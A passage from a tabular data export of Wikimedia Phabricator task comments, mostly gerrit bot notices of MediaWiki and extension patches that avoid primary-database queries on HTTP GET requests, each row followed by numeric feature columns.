[mediawiki/core@master] Use the main stash for basic user talk page notifications

[[https://gerrit.wikimedia.org/r/499969]]",,,1553837963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.025,0.85,"Change 499969 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Use the main stash for basic user talk page notifications

[[GERRIT_URL]]"
873000,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348658 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Avoid triggering master queries in ApiValidatePassword

[[https://gerrit.wikimedia.org/r/348658]]
",,,1496986802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,101,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,21.0,4.827586206896552,0.7931034482758621,"Change 348658 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Avoid triggering master queries in ApiValidatePassword

[[GERRIT_URL]]
"
872991,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353823 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Avoid master queries in beginSecondaryAuthentication()

[[https://gerrit.wikimedia.org/r/353823]]
",,,1496981862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,101,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.7,0.8,"Change 353823 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Avoid master queries in beginSecondaryAuthentication()

[[GERRIT_URL]]
"
869406,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353827 merged by jenkins-bot:
[mediawiki/core@master] Avoid DB_MASTER queries in User::newSystemUser() when possible

[[https://gerrit.wikimedia.org/r/353827]]
",,,1496466969,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,100,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,4.3,0.8333333333333334,"Change 353827 merged by jenkins-bot:
[mediawiki/core@master] Avoid DB_MASTER queries in User::newSystemUser() when possible

[[GERRIT_URL]]
"
864682,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353825 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Avoid master queries in SpecialGlobalRenameProgress

[[https://gerrit.wikimedia.org/r/353825]]
",,,1495648698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.928571428571429,0.7857142857142857,"Change 353825 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Avoid master queries in SpecialGlobalRenameProgress

[[GERRIT_URL]]
"
862499,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353829 merged by jenkins-bot:
[mediawiki/extensions/Translate@master] Use TranslateUtils::getSafeReadDB() in loadAggregateGroups

[[https://gerrit.wikimedia.org/r/353829]]
",,,1495275740,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.9655172413793105,0.7931034482758621,"Change 353829 merged by jenkins-bot:
[mediawiki/extensions/Translate@master] Use TranslateUtils::getSafeReadDB() in loadAggregateGroups

[[GERRIT_URL]]
"
860328,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353824 merged by jenkins-bot:
[mediawiki/extensions/PageTriage@master] Avoid DB_MASTER queries on HTTP GET in ArticleMetadata->getMetadata

[[https://gerrit.wikimedia.org/r/353824]]
",,,1494929182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.838709677419355,0.8064516129032258,"Change 353824 merged by jenkins-bot:
[mediawiki/extensions/PageTriage@master] Avoid DB_MASTER queries on HTTP GET in ArticleMetadata->getMetadata

[[GERRIT_URL]]
"
859530,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353829 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/Translate@master] Use TranslateUtils::getSafeReadDB() in loadAggregateGroups

[[https://gerrit.wikimedia.org/r/353829]]
",,,1494807902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.743589743589744,0.7692307692307693,"Change 353829 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/Translate@master] Use TranslateUtils::getSafeReadDB() in loadAggregateGroups

[[GERRIT_URL]]
"
859528,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353827 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Avoid DB_MASTER queries in User::newSystemUser() when possible

[[https://gerrit.wikimedia.org/r/353827]]
",,,1494806212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,18.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,15.0,4.25,0.8,"Change 353827 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Avoid DB_MASTER queries in User::newSystemUser() when possible

[[GERRIT_URL]]
"
859527,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353825 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Avoid master queries in SpecialGlobalRenameProgress

[[https://gerrit.wikimedia.org/r/353825]]
",,,1494805894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,4.7105263157894735,0.7894736842105263,"Change 353825 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Avoid master queries in SpecialGlobalRenameProgress

[[GERRIT_URL]]
"
859526,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353824 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/PageTriage@master] Avoid DB_MASTER queries on HTTP GET in ArticleMetadata->getMetadata

[[https://gerrit.wikimedia.org/r/353824]]
",,,1494805597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,29.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,4.658536585365853,0.8048780487804879,"Change 353824 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/PageTriage@master] Avoid DB_MASTER queries on HTTP GET in ArticleMetadata->getMetadata

[[GERRIT_URL]]
"
859521,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353823 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Avoid master queries in beginSecondaryAuthentication()

[[https://gerrit.wikimedia.org/r/353823]]
",,,1494802154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.55,0.775,"Change 353823 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Avoid master queries in beginSecondaryAuthentication()

[[GERRIT_URL]]
"
854709,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 351790 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Add $flags parameter to renameInProgressOn()

[[https://gerrit.wikimedia.org/r/351790]]
",,,1493955000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,96,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.225806451612903,0.8064516129032258,"Change 351790 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Add $flags parameter to renameInProgressOn()

[[GERRIT_URL]]
"
854707,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 351790 had a related patch set uploaded (by Krinkle; owner: Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Add $flags parameter to renameInProgressOn()

[[https://gerrit.wikimedia.org/r/351790]]
",,,1493954850,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,96,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.2,0.825,"Change 351790 had a related patch set uploaded (by Krinkle; owner: Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Add $flags parameter to renameInProgressOn()

[[GERRIT_URL]]
"
852422,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 350969 merged by jenkins-bot:
[mediawiki/core@master] Avoid master queries in loadAndLazyInit() for miser mode

[[https://gerrit.wikimedia.org/r/350969]]
",,,1493681077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.935483870967742,0.8387096774193549,"Change 350969 merged by jenkins-bot:
[mediawiki/core@master] Avoid master queries in loadAndLazyInit() for miser mode

[[GERRIT_URL]]
"
851546,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 350969 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Avoid master queries in loadAndLazyInit() for miser mode

[[https://gerrit.wikimedia.org/r/350969]]
",,,1493442672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,95,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,3.975609756097561,0.8048780487804879,"Change 350969 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Avoid master queries in loadAndLazyInit() for miser mode

[[GERRIT_URL]]
"
843924,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348658 had a related patch set uploaded (by Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Avoid triggering master queries in ApiValidatePassword

[[https://gerrit.wikimedia.org/r/348658]]
",,,1492476106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,93,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,18.0,4.794117647058823,0.8235294117647058,"Change 348658 had a related patch set uploaded (by Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Avoid triggering master queries in ApiValidatePassword

[[GERRIT_URL]]
"
842256,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348030 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Make opportunistic password hash upgrades post-send

[[https://gerrit.wikimedia.org/r/348030]]
",,,1492111899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,93,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.419354838709677,0.7741935483870968,"Change 348030 merged by jenkins-bot:
[mediawiki/extensions/CentralAuth@master] Make opportunistic password hash upgrades post-send

[[GERRIT_URL]]
"
841622,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348030 had a related patch set uploaded (by Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Make opportunistic password hash upgrades post-send

[[https://gerrit.wikimedia.org/r/348030]]
",,,1492046316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,93,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.444444444444445,0.8333333333333334,"Change 348030 had a related patch set uploaded (by Aaron Schulz):
[mediawiki/extensions/CentralAuth@master] Make opportunistic password hash upgrades post-send

[[GERRIT_URL]]
"
745091,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309877 merged by jenkins-bot:
Make CentralAuthHooks::onLocalUserCreated() trigger importLocalNames()

[[https://gerrit.wikimedia.org/r/309877]]",,,1476571870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,67,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.043478260869565,0.8260869565217391,"Change 309877 merged by jenkins-bot:
Make CentralAuthHooks::onLocalUserCreated() trigger importLocalNames()

[[GERRIT_URL]]"
743394,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309868 merged by jenkins-bot:
Make SessionBackend::save() update the user post-send

[[https://gerrit.wikimedia.org/r/309868]]",,,1476300883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.88,0.88,"Change 309868 merged by jenkins-bot:
Make SessionBackend::save() update the user post-send

[[GERRIT_URL]]"
727477,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309861 merged by jenkins-bot:
Avoid page_touched update for HTTP GET action=purge requests

